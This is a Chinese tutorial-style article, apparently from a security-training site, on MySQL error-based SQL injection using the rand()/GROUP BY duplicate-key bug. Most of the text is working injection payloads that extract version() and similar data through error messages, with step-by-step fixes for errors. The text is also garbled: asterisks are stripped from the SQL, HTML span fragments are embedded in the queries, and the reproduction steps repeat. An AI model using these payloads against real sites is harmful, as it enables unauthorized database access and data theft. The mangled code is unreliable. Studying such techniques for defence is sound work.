网站MYSQL数据库高级爆错注入原分析
网络安全 2021-07-03 09:36www.168986.cn网络安全知识
这里主要用了mysql的一个BUG http://bugs.mysql./bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.
重现过程:
select count(),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>
select from user where user='root' and (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
select from user where user='root' and (select 1 from (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>
1248 (42000): Every derived table must have its own alias
select from user where user='root' and (select 1 from (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
select from user where user='root' and (select 1 from (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
grouping on certain parts of the result from rand, causes a duplicate key error.
重现过程:
SQL Code复制内容到剪贴板
- use mysql;
- create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
- select left(rand(),3),a from r1 group by 1;
- select left(rand(),3),a, count() from r1 group by 1;
- select round(rand(1),1) ,a, count() from r1 group by 1;
于是便可以这样拿来爆错注入了。
复制代码
代码如下:select count(),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>
尝试拿来实战
复制代码
代码如下:select from user where user='root' and (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x);
提示错误 选择的列应该为一个。那么。我们换一下
复制代码
代码如下:select from user where user='root' and (select 1 from (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>
复制代码
代码如下:1248 (42000): Every derived table must have its own alias
提示多表查询要有别名 那好办
复制代码
代码如下:select from user where user='root' and (select 1 from (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);
或者
复制代码
代码如下:select from user where user='root' and (select 1 from (select count(),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);
成功爆粗注入了.
作者 小残 绳命不息 |折腾不止
上一篇:详解如何通过“鼠洞”控制电脑
下一篇:网站个人渗透技巧收集与总结
网络安全培训
- 网络安全常见漏洞类型 网络安全常见漏洞类型包
- 绿色上网顺口溜七言 绿色上网的宣传标语
- 网络安全等级保护测评 网络安全等级保护条例
- 如何加强网络安全 网络安全隐患有哪些
- 网络安全防护措施有哪些 网络安全等级保护等级
- 如何保障网络安全 如何做好网络安全保障工作
- 维护网络安全的措施有哪些 维护网络安全的主要
- 网络安全工程师好学吗 2024年网络安全工程师好学
- 网络安全注意事项简短 网络安全注意事项100字
- 网络安全面临的挑战 当前网络安全面临的新问题
- 网络安全培训哪个靠谱 网络安全培训找哪个
- 普及网络安全知识内容 普及网络安全教育
- 网络安全防范知识宣传内容 网络安全防范知识宣
- 如何做好网络安全工作 如何做好网络安全工作
- 网络安全常识的丰富内容 网络安全的相关知识
- 青少年网络安全教育片 青少年网络安全知识讲座